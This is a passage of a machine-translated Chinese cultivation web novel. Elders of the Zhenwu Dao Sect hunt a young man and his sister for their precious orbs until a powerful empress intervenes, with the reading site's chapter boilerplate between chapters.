    "And I have also tried with those defective products, the effect can be said to be minimal, so it is simply impossible to get a sufficient number of high-quality orbs in a short time, even if..."


    "What''s the matter?" someone asked.


    Lu Zhengqing sighed, "Even if there are so many orbs, it is estimated that we can''t afford it with the financial resources of us! You know that the high-quality orb used for experimentation is almost emptying my savings!"


    At this time, everyone was silent again.


    They are all aware of their own situation.


    The Taoist Zhenwu line was not a powerful sect in the first place, and Funiu Mountain was even more resource-poor. These Taoist priests were not very good at business, and it could be said that all of them were very poor.


    The true high-quality orbs are all treasures, each of which is very valuable, where they can afford it.


    Lu Xiuming frowned, extremely annoyed in his heart.


    It��s different from others, because Na Lu Fei��an grew up with him since he was young, and didn��t turn to worship Guanzhu until he reached a certain level of cultivation, so he can be regarded as a half of Lu Fei��s teacher, so he naturally treated him. Pay more attention.


    Now when I heard that there is a way to save the non-angry, but I can''t get through, the irritation and disappointment can be imagined.


    "In any case, non-angry is the top priority of our Zhenwu line. No matter what the price is, we must save it. I propose to immediately start inquiring about the orb in the market!" Lu Xiuming said.


    Dajijiu also nodded, "Now that''s the only thing I have to do! Everyone must be prepared. It''s my hope for Funiu Mountain, and I will wake him up at all costs!"


    Speaking of the last time, a vicious look also flashed in the eyes of Dajijiu.


    Everyone gave their hands together.


    "Yes!"


    At this moment, Lu Yangyan was playing in the market with his younger sister, Lu Xiaoya.


    For Lv Xiaoya, who has never seen such a lively since childhood, this grand gathering is simply fresh.


    Two eyes are no longer enough when I walk in it. I really want to see everything.


    Lu Yangyan didn''t stop him, just watched with a smile, and bought what his sister liked.


    In this way, within a day or two, the things Lu Xiaoya bought were full of two storage rings.


    At the back, Lu Xiaoya was a little embarrassed, "Brother, have I spent too much money in the last two days?"


    Lu Yangyan smiled and shook his head, "Don''t worry, we have been in Orb City for so long. The basic income alone is an astronomical figure! Buy whatever you want, brother is rich!"


    But Lu Xiaoya shook her head, "No, I have bought enough things, we should start looking for something that can help my benefactor in these two days!"


    Lu Yangyan looked at his sensible sister and nodded, "It''s okay, but there is still something to do before then!"


    "what''s up?"


    "You''ll know when you come with me!"


    With that, Lu Yangyan smiled and led Lu Xiaoya to a very magnificent jewelry shop.


    As soon as she entered the door, Lv Xiaoya wanted to leave, and said at the same time: "Brother no need to buy jewelry, I have bought enough in the past two days!"


    "Oh, don''t worry about it, come with me!"


    Lu Yangyan led his sister to a counter specially made for hairpins, and reached out and took out a small box and placed it on the counter.


    "Do you do jewelry processing?"


    "Of course! What do you want to do?" a craftsman in charge of the counter stood up and asked.


    Lu Yangyan opened the brocade box, and inside it was a supremely round and full orb.


    "I want to make a hairpin for my sister! Can I do it?"


    As soon as he saw this gem, a waiter who was pouring tea next to him suddenly lit up. Even though he lowered his head deeply, his eyes were full of joy that could not be covered.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2431, Finding Orbs), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2432： Disputes are rising

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    The craftsman was also amazed after seeing this orb.


    "Two gentlemen, I have been in this jewelry processing business for many years, but this is the first time I have seen such a round and beautiful orb! As for the hairpins you said, of course it''s okay!"


    Lu Yangyan was also very happy, and he finalized the details with the craftsman in detail, and then, under the forging of a few flames, a radiant hairpin appeared in front of everyone.


    "How about? Do you like it?" Lu Yangyan asked with a smile.


    Lu Xiaoya''s eyes lit up, "Hmm! Thank you brother!"


    "Thank you, come, I''ll plug it in for you!"


    Lu Yangyan gently inserted the hairpin for his sister, looked at it for a moment and nodded in satisfaction, then paid the forging fee, turned and left.


    But what he didn''t know was that just now, the waiter had already sent the news back to the inn where the Zhenwu Dao Sect lived.


    "What are you talking about? Someone took out a top gem to make a hairpin, are you sure you read it right?" Lu Xiuming asked in a deep voice.


    The waiter nodded again and again, "How dare I make a joke about this kind of thing? It''s definitely a top gem, so I rushed to inform everyone!"


    Upon hearing this, all the true martial artists present could not help but look happy.


    You must know that the top treasure orb is an extremely precious thing. After obtaining it, the general monk will surely store it like a treasure. I have never heard of anyone turning this thing into a hairpin.


    If the news is true, it means that this person obviously has more than one orb in his hands.


    This is good news.


    "Go, go look for this person now!" Lu Xiuming couldn''t stay any longer, and said immediately.


    But Lu Zhengqing was relatively calm, and said in a deep voice, "Don''t worry, what does this person look like, have you seen it before?"


    The waiter shook his head, "This man is a young man. He has never seen him before. Oh, yes, there is a beautiful girl behind him. He seems to be a brother and sister!"


    "Brother and sister?" Lu Zhengqing moved in his heart, thinking about it.


    Lu Xiuming said coldly: "Whether he is a sibling or not, since he has a gem in his hand, then we must go and see him. If you don''t want to go, stay here! I will lead someone over!"


    The words are very rude.


    Others dare not say anything.


    Because everyone knows that in this true martial arts school, there is a disagreement between the elder Lu Xiuming, who is responsible for teaching his disciples.


    Whenever something happens, the two will definitely target each other, and this time it seems to be no exception.


    Hearing what Lu Xiuming said, Lu Zhengqing''s eyes flashed, but he didn''t say anything else, just said lightly: "I''m just asking. Made a joke?"


    "Humph!" Lu Xiuming didn''t bother to argue with this Lu Zhengqing at this time, and walked away.


    The group was ready, and immediately rushed to the jewelry shop.


    Their speed is not unpleasant, almost as soon as brother Lu Yangyan walked with their front feet, they rushed to their back feet.


    "What? The person has gone?" Lu Xiuming glared.


    "Yes!" The craftsman was shocked by the aura on Lu Xiuming''s body, and said in a trembled voice.


    "When did you leave?"


    "just now!"


    "chase!"


    But this market is so big and crowded with people. After chasing it out, looking at the crowd of people on the street, where can I find the slightest trace?


    Lu Xiuming''s complexion instantly turned pale.


    "Asshole!"


    But Lu Zhengqing, who was standing behind him, looked thoughtfully in a certain direction of the street, his eyes flashed slightly, even though he pretended that nothing happened, he turned and left.


    This time, the people of the Zhenwu Dao faction came with hope, but they didn''t expect that they would fall short in the end. They couldn''t find the person holding the orb, so they were naturally very depressed.


    After returning to the inn, the great ritual wine sighed after hearing the story.


    But the matter has come to this, saying that the others are useless, everyone dispersed, and plans to find a way to find the orb tomorrow.


    But when it was late at night, there was a figure leaving the inn quietly, and after discerning the direction for a while, he flew away.


    This figure was extremely fast, but in a flash, he came to the second floor window of a small building, hesitated for a moment, and then tapped the window lightly.


    Lu Yangyan, who was sitting cross-legged in the room, was surprised, "Who?"


    Following the voice, a powerful force of true martial arts rushed out of him and went straight out the window.


    But after this force shattered the glass and rushed out of the window, it was like a mud cow into the sea, without making any waves.


    Lu Yangyan couldn''t help being shocked, and immediately stood up and prepared for the worst.


    But at this moment, a soft breath appeared outside the window, and then someone sighed softly: "Don''t get excited, it''s me!"


    After hearing this familiar voice, Lu Yangyan couldn''t help but be shocked.


    At the same time, a person walked in from the window.


    Daoyi Hemu is exactly Lu Zhengqing of the Zhenwu Dao Sect.


    After seeing this person, Lu Yangyan''s complexion changed wildly, with shock, suspicion, and a hint of anger, but in the end these expressions gradually faded.


    He lowered his head and yelled softly, "Master!"


    That''s right!


    This Lu Zhengqing was exactly the teacher of Lu Yangyan in the Zhenwu Dao School.


    After seeing Lu Yangyan, Lu Zhengqing''s expression was also very complicated, and he sighed softly, "Yangyan, it really is you. Where have you been all these years? I have been sending people to look for it, but there is no news from you!"


    Lu Yangyan remained silent, and did not say softly until a long time later.


    "Back then, after being expelled from the teacher''s door, Xiaoya and I were wandering around the world. This time I heard that the Pharmacist Alliance rally was held, so we brought Xiaoya over to try our luck and see if there was a chance to control her violent bloodline. !"


    Although Lu Yangyan did not have much hatred for this mentor.


    After all, it wasn''t for him to be expelled from the Zhenwu Dao faction. He even maintained a lot of himself at the time. UU Reading www.uukanshu. Com just saved the lives of himself and his sister.


    But even so, Lu Yangyan still did not confess the truth to Lu Zhengqing, but chose to hide it.


    The experience he has experienced in these years has caused Lu Yangyan to lose trust in everyone.


    And after hearing what Lu Yangyan said, Lu Zhengqing did not doubt that he was there, and sighed, "Yangyan, I was very sorry for what happened back then, but the power of the Taoist school is in the hands of the Great Sacrifice Wine and Lu Xiuming, I I can''t help too!"


    Lu Yangyan nodded, "Master, I don''t mean to complain about you, but is there anything important for your sudden arrival this time?"


    Lu Zhengqing looked down and said solemnly, "Of course there is something important. Did you go to the jewelry store today?"


    "Yes!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2432 Disputes gradually rise (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2433： Sinister intention

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "That''s right, because you revealed the jewel, now Lu Xiuming and the others have been eyeing you, leave here as soon as possible, and go as far as possible, otherwise you and Xiaoya will both have life concerns?" Lu Zhengqing Shen said.


    Lu Yangyan was startled, "What''s the matter? It''s just a gem, why would he stare at us?"


    When Lu Zhengqing saw this, he felt helpless, knowing that his former apprentice still had doubts about him, otherwise he would not go on asking questions.


    Therefore, he recounted Lu Fei''s incident at an extremely fast speed, and then said solemnly.


    "At that time, when I heard that the waiter said it was a brother and sister, I wondered if it would be you. I also comforted myself that it might not be so coincidental. But after I got to the jewelry store, through the lingering breath of real martial arts, I finally determined It''s really you, but I dared not show anything unusual at the time, otherwise Lu Xiuming would never give up!"


    "So I can only endure until the middle of the night before I dare to come and see you secretly!"


    After the explanation, Lu Zhengqing looked at Lu Yangyan and said in a deep voice: "Yangyan, I know you have a lot of grievances against me, but I really didn''t mean to hurt you. Before they noticed it, leave here quickly!"


    Hearing this explanation, Lu Yangyan''s discoloration also changed, as his thoughts turned, he immediately nodded and said.


    "Thank you, Master for notifying me of this news, I will leave here with my sister right away!"


    Lu Yangyan is very clear about his current situation.


    Not to mention the precious orbs they carried, the spiritual stones that Zhu Zhesheng gave them were a huge fortune.


    If these things were exposed to the attention of Lu Xiuming and others, he and his sister would be really dangerous.


    After all, he, who had been expelled from his division, knew better than anyone what the faces of Lu Xiuming and others in this true martial arts school were.


    But just when he was about to wake up Lu Xiaoya in the next room, and then got up and left here.


    There was a sudden sneer outside the house.


    "It''s really a picture of deep mentor and apprenticeship!"


    As soon as this statement came out, Lu Zhengqing and Lu Yangyan in the room couldn''t help but shook their bodies.


    At the same time, the outer wall of this house shattered, revealing a group of people outside.


    But seeing Lu Xiuming standing out of thin air, behind him were the people of the Zhenwu Dao Sect.


    Lu Xiuming looked at Lu Zhengqing with a sneer, "Lu Zhengqing, I really didn''t expect you to betray the teacher and do such a thing!"


    Lu Zhengqing''s complexion became extremely ugly, "Lv Xiuming, you actually followed me secretly?"


    "Nonsense, how can you know where this kid lives without secretly following? To tell you the truth, I had noticed the strangeness as soon as I entered the jewelry shop. That breath is definitely from the real martial arts school, and your performance later proves it. I guessed it, so I paid more attention to you, and I caught it!"


    With that said, Lu Xiuming turned his head to look at Lu Yangyan, and said with a strange smile: "Long time no see, Lu Yangyan!"


    Lu Yangyan''s eyes gradually turned red.


    He has a deep memory of the culprit who forcibly expelled himself and his sister from the teacher''s door.


    At that time, he was under the protection of Master Lu Zhengqing, and in fact, not many people had the time to deal with him.


    Even if Xiaoya would run wild sometimes, she was still within her control.


    Unexpectedly, because of Xiaoya''s accidental collision, this Lv Xiuming held a grudge, and finally found an excuse to make sense of the subject and forcibly drove himself and his sister out.


    Moreover, Lu Yangyan knew very well that if it hadn''t been for his master to beg the Lord, maybe he and his sister would have died at that time.


    Goodbye to the enemy now, naturally jealous.


    Lu Xiuming also noticed the bitter hatred coming from Lu Yangyan, but he didn''t care, and instead sneered.


    "Lv Yangyan, you don''t have to hate me either. Now let''s open the skylight and speak up. You will leave all the orbs you carry with you. I can let you go because you are also a descendant of Zhenwu!"


    Lu Yangyan smiled in anger, "What gem, I don''t understand! And Lu Xiuming, do you really think I''m afraid of you?"


    Although Lu Yangyan planned to leave here as soon as possible, it was because he didn''t want to cause trouble, but now Lu Xiuming has come to the door, no matter how much he wants to escape, it won''t help, so Lu Yangyan stood cold and did not give in.


    And this attitude also angered Lu Xiuming.


    I saw him laughing strangely: "Well, what a spineless young man, you are not afraid that I will be fine, but you have to leave everything on your body today!"


    Following the voice, the majestic power of Zhenwu radiated from his body, condensing into a huge virtual image of Zhenwu, staring at Lu Yangyan with enthusiasm.


    Lu Yangyan was not afraid, "Haha, Lu Xiuming! I know that I hate you before, and it happened to be clear today!"


    "court death!"


    Lu Xiuming snorted coldly and patted out with a palm.


    boom!


    The huge coercion came straight to Lu Yangyan.


    Lu Zhengqing''s face sank.


    Lu Xiuming''s palm clearly made it clear that he wanted Lu Yangyan''s life!


    But under the gaze of everyone''s eyes, he couldn''t help.


    When he was anxious, when he saw Lu Yangyan yell, he raised his hand and threw a punch.


    Boom!


    This punch was hitting the power of the palm shot by Lu Xiuming.


    Amid the loud noise, the power dissipated, and Lu Yangyan also took a few steps back, his complexion was red and white, and he was obviously shaken with blood.


    But even so, it still attracted a burst of exclamation from those present.


    Because no one thought that Lu Yangyan would be able to withstand Lu Zhengqing''s blow.


    You know, Lu Zhengqing is the elder of the dignified Zhenwu line.


    And Lu Yangyan was just an ordinary disciple who had worshipped under Zhenwu Sect, and the gap between them was simply beyond calculation.


    As a result, under this palm, although Lu Yangyan was shaken back a few steps, he did not suffer any injuries.


    This is shocking enough.


    Even Lu Zhengqing couldn''t help but shine.


    Yang Yan''s cultivation base... seems to be much stronger than when he was in Funiu Mountain.


    Lu Xiuming''s complexion changed drastically, and then stared at Lu Yangyan gloomily.


    "No wonder you dare to talk to me like this, it turns out that you have to rely on it, but do you think you can challenge me with this strength?"


    With the voice of questioning, UU Reading Lv Xiuming''s momentum boiled again.


    Lu Yangyan also made preparations accordingly.


    But at this moment, only a timid voice came over, "Brother, what''s the matter?"


    Hearing this voice, Lu Yangyan screamed badly in his heart, so he shouted without looking back: "It''s okay, you hurry up and hide!"


    But it was too late when Lu Xiaoya, who was awakened, walked into the room.


    After seeing her, Lu Xiuming noticed the hairpin pinned to her head at a glance.


    Especially the mellow orb at the top of the hairpin made him and everyone behind him shine.


    "It really is a gem!"


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2433 Intentionally Sinister (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2434： 惺 惺 work ? ??

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Lu Xiuming was ecstatic, immediately abandoning Lu Yangyan and heading straight for Xiaoya.


    Lu Yangyan secretly said that it was not good, and then rushed forward, trying to keep his sister behind.


    But how could his speed be as fast as Lu Xiuming.


    Almost in an instant, Lu Xiuming rushed to Lu Xiaoya, then stuck out one palm, and was about to attack her.


    Lu Xiaoya had no power to bind the chicken. When she saw this formation, she was frightened and stood still.


    Lu Zhengqing, who was standing not far away, looked tangled at the sight.


    To be honest, he didn''t want to have a head-on conflict with Lu Xiuming.


    Because he knew that in the real martial arts, Lv Xiuming actually stabilized himself regardless of his strength or status, and even the master of it respected him very much.


    But if he watched this innocent girl''s life on the spot, he was really cruel, so he couldn''t help but hesitate for a moment, then gritted his teeth and stepped on the ground with his toes, and he would rush to rescue Lu Xiaoya.


    But as soon as he was halfway through his figure, Lu Xiuming sneered, "I knew you would not be able to restrain it!"


    When the words were over, a horrible breath suddenly burst from behind Lu Xiuming, and went straight to Lu Zhengqing''s front door.


    Lu Zhengqing''s heart sank, and he turned to the side, which could be regarded as dodge the blow.


    But because of this delay, Lu Xiuming rushed to Xiaoya, and then smiled grinningly and stretched out his hand to control it in her hand.


    He thought very clearly, as long as this Lv Xiaoya was controlled, Lu Yangyan would not give up.


    I have to say that his idea is very good.


    But seeing that his fingers were about to touch the ends of Lu Xiaoya''s hair.


    suddenly.


    He felt an inexplicable crisis in his heart. This feeling shocked him, and then he was shocked to find that his originally violent real martial might disappeared like a clay cow into the sea after touching the girl in front of him. .


    This discovery shocked his mind.


    One must know that the power of oneself is extremely powerful, not to mention that the weak girl in front of him, even a strong person like Lu Zhengqing, has to avoid the edge for the time being.


    But why did she disappear in front of this girl?


    Although he was surprised in his heart, the movement in his hand still kept on, instead he continued to grab it.


    But in the next second, he felt an indescribable and extremely weak aura suddenly emanating from Lu Xiaoya.


    It was the breath of this thin hair, which was like a heavy hammer, which directly shook Lu Xiuming far away.


    This time, everyone was shocked!


    No one expected such a turning point in things.


    After standing still, Lu Xiuming groaned even more, with infinite horror in his eyes.


    Although the aura just now was weak, it was extremely powerful, and even made him feel terrified.


    At the same time, Lu Yangyan had rushed to his sister and said in shock: "Xiaoya, are you all right!"


    Lu Xiaoya blinked and yelled, brother, Xuan even fell straight back.


    Lu Yangyan screamed and hugged his sister. Looking at Lu Xiaoya at this time, her cheeks were red, her eyes closed, her breath weak, as if she was no longer able to do so.


    At this time, Lu Zhengqing also rushed to the front, his face changed greatly when he saw this scene.


    "Yang Yan!"


    As soon as he shouted, a majestic power of real martial arts rose from Lu Yangyan''s body, and climbed steadily, breaking through the Wuwu in an instant, reaching the semi-sacred realm.


    Under the prestige, everyone changed in unison.


    Then I heard a voice full of infinite hatred and anger that seemed to come from the depths of hell, ringing in everyone''s ears.


    "You all are going to die!"


    When the words fell, I saw that the aura above Lu Yangyan''s head instantly condensed into the form of real martial arts, and then blasted towards Lu Xiuming.


    Although Lu Xiuming was shaking in his heart, he quickly calmed down and sneered, "I actually broke through? But what?"


    With that, he raised his fist to greet him, and directly slammed with this Zhen Wuzhi.


    Boom!


    After a loud noise, this real Wuxu statue collapsed most of its body, leaving only a small part.


    But even so, it did not take a step back.


    On the contrary, Lu Xiuming was like a kite with a broken line. He retreated dozens of steps after being shaken, and vomited a big mouthful of blood in the middle of the journey.


    At this time, the audience shook.


    Even Lu Zhengqing watched this scene in disbelief with his mouth open.


    Lu Yangyan, who had just broken through as a semi-sage, shook back Lu Xiuming, the elder in charge of punishment, with one move. This was incredible.


    Lu Xiuming didn''t expect this even more. When he stood still, his expression couldn''t be described as ugly, and water was almost dripping.


    At this moment, Lu Yangyan suddenly spit out a mouthful of pale golden blood, and the image of Zhenwu imaginary, with only a half of it left, soared.


    In an instant, the real Wuxu image was restored to its original state, and its aura was more refined than before.


    Immediately afterwards, this true Wuxu statue stepped out, and when he came close to Lu Xiuming, he raised his hand and blasted it out with a punch.


    The speed is so fast that everyone has no time to react.


    Lu Xiuming was even more so scared that he wanted to dodge but it was too late. He could only watch the punch come straight to the door.


    But at this moment, I only heard a cold snort, and then a dry palm appeared out of thin air, blocking the punch.


    Click!


    With a soft sound, a series of fine lines appeared on the fist of this true Wuxu statue, and quickly spread upward.


    In the blink of an eye, these fine lines spread to the whole body of Zhenwu Xuxiang, and then broke apart silently.


    Lu Yangyan snorted, and blood dripped out of his eyes, nose and mouth.


    At the same time, an old man with a simple face and vicissitudes of life appeared in the field. It was the great sacrificial wine in the real martial art vein second only to the master.


    When he saw him, Lu Zhengqing''s heart was tight.


    broken.


    Today��s things can��t be done well.


    But Lu Xiuming and the people behind him were overjoyed, and then bowed their heads together.


    "The Great Sacrifice Wine!"


    Dajijiu did not respond, but quietly looked at Lu Yangyan who was seriously injured, and then sighed lightly.


    "Lv Yangyan, I already know what happened before. If you hand over all the orbs, I can spare you and this little girl!"


    Lu Yangyan rubbed the blood on his face severely, and cast a cold glance at the great sacrificial wine.


    The big sacrifice wine trembled in his heart.


    What kind of look is this, UU Reading www.uukahnshu.com is full of infinite hatred and anger, just like a beast in desperation, always ready to choose someone to eat.


    Lu Xiuming was annoyed in his heart, and said in a deep voice: "The great sacrifice of wine, this person is stubborn, it is better to kill it directly. ?"


    The great sacrifice wine indulged for a moment, and then nodded with a light sigh.


    "The blame is that you shouldn''t have something that doesn''t belong to you!"


    With a grinning laugh, Lu Xiuming wanted to attack Lu Yangyan.


    But at this moment, only a playful female voice came from a distance, accompanied by crisp applause.


    "Tsk tsk, it''s really wonderful, until today I don''t know what hypocritical attitude is, what is good looks!"


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2434, Confident and Moral (third more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2435： Look at her good fortune

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Following the voice, but seeing layers of ripples in the void, Nine Heavens Profound Girl walked out of it slowly, followed by Cha Wenliang and Xiao Hulu behind her.


    The appearance of their group caused a commotion in the audience.


    The great sacrificial wine changed even more, but soon he took a deep breath, and then called the chief inspector for questioning.


    "It turns out that the female emperor came here in person, and Lu Qixian, the great sacrifice wine of the Zhenwu Dao Sect, is polite here!"


    The Nine Heavens Profound Girl sneered, "Zhen Wu Dao Sect? Ha ha, the real Zhen Wu Great Emperor has long been missing, and what you enshrine in your view is just a little **** who is condensed by the power of incense, and I dare to call the word Zhen Wu ?"


    These words can be described as a direct hit, at least the smile on Lu Qixian''s face has stiffened, and his eyelids have been throbbing.


    But he didn''t dare to attack, because he knew the power of this Nine Heavens Profound Girl.


    Especially now in the Alliance of Pharmacists, this is her one-third of an acre of land, and Lu Qixian dare not make any mistakes.


    So he smiled forcefully: "The female emperor is serious. Although the Emperor Zhenwu is missing, there is still an aura left by the old man in the statue of the **** in Guanzhong."


    "So you just behave like this?" Nine Sky Profound Girl said coldly.


    At this time, Lu Xiuming, who had been standing behind Lu Qixian, the great ritual wine, could no longer hold back.


    He has a violent nature, just barely suppressing his temper, and now he hears that the Nine Heavens Profound Girl is so aggressive, he can''t help but become angry.


    Although he also knew that the Nine Heavens Profound Girl was the top master in the Pharmacist Alliance, but in his opinion, the Nine Heavens Profound Girl was nothing more than a pharmacist, and the key was a woman.


    But he was the chief punishment elder of the Zhenwu faction, no matter how much better than her, so he took a step forward and said coldly.


    "My Empress, you are wrong about what you said. We are not doing anything wrong. Both Lu Yangyan and Na Lu Xiaoya belong to our true martial arts school. We are just dealing with matters within the martial arts school!"


    "Oh?" The Nine Heavens Profound Girl raised her eyebrows slightly and looked at this Lu Xiuming with a smile.


    "Dare to ask who are you?"


    Lu Xiuming proudly said: "Zhenwu Dao Sect Chief Punisher, Lu Xiuming!"


    The Nine Heavens Profound Girl nodded, "It turns out to be an elder!"


    Lu Xiuming sneered, just about to speak.


    But at this moment, the Nine Heavens Profound Girl''s face became cold, and then a finger popped out.


    An inexplicable and majestic force came, and Lu Xiuming was shocked hundreds of feet before he even had time to react. After finally standing still, he opened his mouth and vomited. With blood, it seemed to have been seriously injured.


    This blow seemed like a horror, and shocked all the people of the true martial arts school.


    The complexion of the great sacrifice wine Lu Qixian became extremely ugly in an instant.


    We must know that Lu Xiuming is his most powerful subordinate, but now he has been severely beaten in front of him and seriously injured. How can this make his face?


    "Master Empress, what do you mean? Do you really think I have no one in the real martial arts school?" Lv Qixian finally couldn''t hold back, and shouted in a deep voice, amidst his anger, the power of real martial arts was faintly rising behind him.


    But how could Jiutian Profound Girl care about this, and saw her sneer, "Yes, I just deceive you no one in the real martial arts school, so what can you do?"


    "you��."


    At this point, Lu Qixian couldn''t hold back no matter how good his temper was, he just wanted to have an attack.


    But at this moment, seeing the Jiutian Profound Girl stepping in front of him, she raised her hand and grabbed his neck, and said with a cold face.


    "Furthermore, I will tell you that in my eyes, you people are just polite and shameless people who wantonly plunder other people''s property and shamelessly. If Zhenwu knew that his disciples and grandchildren had become like this, he would definitely kill you by himself!"


    Feeling the tremendous power coming from the slender jade hand between his neck, Lu Qixian was frightened.


    Because he found that all his methods were ineffective at this moment.


    Seeing the cold killing intent in Jiutian Xuannv''s eyes, his hair couldn''t help standing up, and he couldn''t help speaking.


    "Female... Lady Empress... Forgive!"


    Seeing the plea in Lu Qixian''s eyes, whose complexion had turned purple, the Nine Heavens Profound Girl couldn''t help but snorted coldly, and threw the great sacrifice wine out with a sudden wave of her hand.


    "Hurry up and get out of here while I haven''t changed my mind yet!"


    These people of the Zhenwu Dao faction, as if they were amnesty, immediately wrapped up the seriously injured Lu Xiuming and the great sacrifice wine Lu Qixian, and fled like a bereaved dog.


    When Lu Zhengqing saw this scene, he couldn''t help but sighed, then whispered to Lu Yangyan, "Take care of yourself!"


    After that, he flew up and flew away after these people.


    In the blink of an eye, the people of the Zhenwu Dao faction went away clean.


    As for all this, Lu Yangyan hadn''t noticed at all, because at this moment, he had already focused all his attention on the younger sister in his arms.


    He tremblingly asked Cha Wenliang, who had just finished calling his sister, "Xiao...How about Xiaoya?"


    Cha Wenliang''s complexion was very strange, and he frowned after he indulged for a while.


    "It''s very strange, there is a dark and unclear aura in her sea of ??consciousness that has been haunting her soul, and there is violent power faintly emerging in her bloodline. If I am not wrong, has she ever had a thorough Loss of sanity?"


    Lu Yangyan nodded immediately, "That''s right, my sister had run away several times before, but later I discovered that through the orb, her bloodline of rage could be suppressed, so it was controlled, but this time the orb has no effect!"


    In fact, Lu Yangyan just fed his sister and served a top gem, but the result was not effective at all, so Lu Yangyan was so anxious.


    Zha Wenliang sighed, "Of course it won''t work, because the balance in her body has been completely broken, and the true martial force carried by the blow has penetrated into her bloodline, causing the situation in her body to be completely out of control. This is also her. The reason for being unconscious!"


    Lu Yangyan''s tears came down, and he choked up: "What should I do? Is there no other way? Genius doctor, please save my sister!"


    Cha Wenliang looked distressed.


    It''s not that he doesn''t want to save it, it''s that Lu Xiaoya''s condition is really weird. He has never seen this symptom in so many years of medical practice.


    For a moment he didn''t know how to start.


    Seeing this scene, the Nine Heavens Profound Girl on the side couldn''t help but sigh lightly. UU reading www. uukanshu. com


    She is also quite sympathetic to the brother and sister.


    That''s why she came to help.


    Unexpectedly, it was a step too late, causing the little girl to be injured and unconscious.


    At this moment, Xiao Hulu suddenly took a step forward, spit out a little brilliance, and then pressed one hand on Lu Xiaoya''s eyebrows.


    Lu Xiaoya trembled, and her red cheeks quickly returned to their original appearance.


    Everyone was surprised.


    Little Calabash said lightly: "I won''t eat you for the precious orb before, and now her injury has been temporarily controlled, but whether she can wake up depends on her good fortune!"


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (see her good fortune in Chapter 2435), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2436： Secret of Zhenwu

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Funiu Mountain.


    Zhenwu Taoist Temple.


    As one of the important branches of Taoism, although it has gradually declined in recent years, it can still be regarded as the leading sect.


    now.


    In the main hall of this Taoist temple, the master of Zhenwu Taoist temple, and also the leader of Zhenwu school, Lu Zhongxuan, held three pillars of agarwood in his hand, and inserted it into the incense burner in front of the shrine with all his heart.


    The cigarettes swirled around, making the idol above the shrine even more majestic.


    After burning the incense, Lu Zhongxuan sat on the worship mat before the shrine and began to do his homework.


    This is his habit that can''t be beaten every day!


    At this time, all the disciples would withdraw from the main hall, leaving only Lu Zhongxuan here.


    Today is no exception. The huge palace is empty, and the windows are tightly closed, making it very gloomy because the light from outside cannot come in.


    In such an environment, only Lu Zhongxuan''s softly whispering and chanting scriptures echoed.


    Suddenly.


    The darkness in the corner of the main hall began to surge, and then a few black lights that were imperceptible to the naked eye projected directly into the idol sitting on the shrine.


    Then the idol began to squirm.


    That''s right!


    It''s squirming.


    As if countless branches and vines grew in the body of this **** in an instant, the dense black lines swayed wantonly without making a sound, and then they approached Lu Zhongxuan on the futon.


    Lu Zhongxuan didn''t notice anything, and was still reciting the scriptures piously.


    But at the moment when these black lines were about to touch Lu Zhongxuan, a ray of golden light flashed from the center of Lu Zhongxuan''s eyebrows.


    These black lines froze immediately and then vanished.


    Lu Zhongxuan was totally ignorant of all this happening outside.


    Then everything returned to silence. It was not until after chanting the scriptures for an hour that Lu Zhongxuan slowly opened his eyes, his eyes filled with disappointment.


    "Master Zhenwu, did you really abandon us and go? Why don''t you respond no matter how devout I pray?"


    Whispering softly, Lu Zhongxuan raised his head and looked at the deity whose face was shrouded in darkness on the shrine.


    Naturally, the idol would not respond, and stood silently.


    Lu Zhongxuan smiled bitterly.


    "If it weren''t for the breath that you left in the idol is still there, I would really think..."


    Lu Zhongxuan swallowed the words that followed again, but the worry on his face had already betrayed him.


    After sitting still for a while, Lu Zhongxuan shook his head and sighed, stood up and walked out.


    But he didn''t know that after he turned around, another strand of thread that almost merged with the darkness emerged and struck his back.


    Lu Zhongxuan didn''t notice anything, and raised his hand and pushed open the hall door.


    At this moment, the sunlight outside the house was just right. When the door of the temple was opened, the sunlight came in directly, just shining on these black silk threads.


    The silk thread disintegrated in an instant, and at the same time the sunlight was winding up along the silk thread, the idol trembled, and there seemed to be a faint roar, but immediately everything returned to normal.


    Lu Zhongxuan suddenly looked back.


    The hall behind him was empty, the idols stood quietly, aloes drenched in smoke, Lu Zhongxuan did not see anything unusual.


    But a suspicious color flashed in his eyes.


    He clearly heard an unwilling roar just now, why did he disappear suddenly?


    Just as he was puzzled, he suddenly saw a tumult outside the gate of the mountain, and then a disciple who reported hurriedly hurried over, shouting in panic.


    "Keep the subject, watch the subject, the big thing is not good!"


    Lu Zhongxuan was startled, his expression immediately became solemn, "What''s the matter?"


    "Just now they heard the news of the big sacrifice wine. It''s not that Senior Brother He is evil in his body. He is already in a coma, and the elder torture is also injured. Please prepare quickly!"


    "What?" Lu Zhongxuan was horrified and shocked.


    The news is simply shocking.


    All of a sudden, he was a little bit of no master.


    Fortunately, after a moment of panic, he finally calmed down, and said in a deep voice, "Immediately summon all the elders in the left-behind view and get ready!"


    "Yes!"


    This disciple took the order and left.


    But he hadn''t waited for Lu Zhongxuan to make further preparations, but saw more than a dozen Guanghua flying from outside the sky, directly in front of the hall.


    The leader was the great sacrifice wine Lu Qixian, and behind him were the people of the Zhenwu Dao sect.


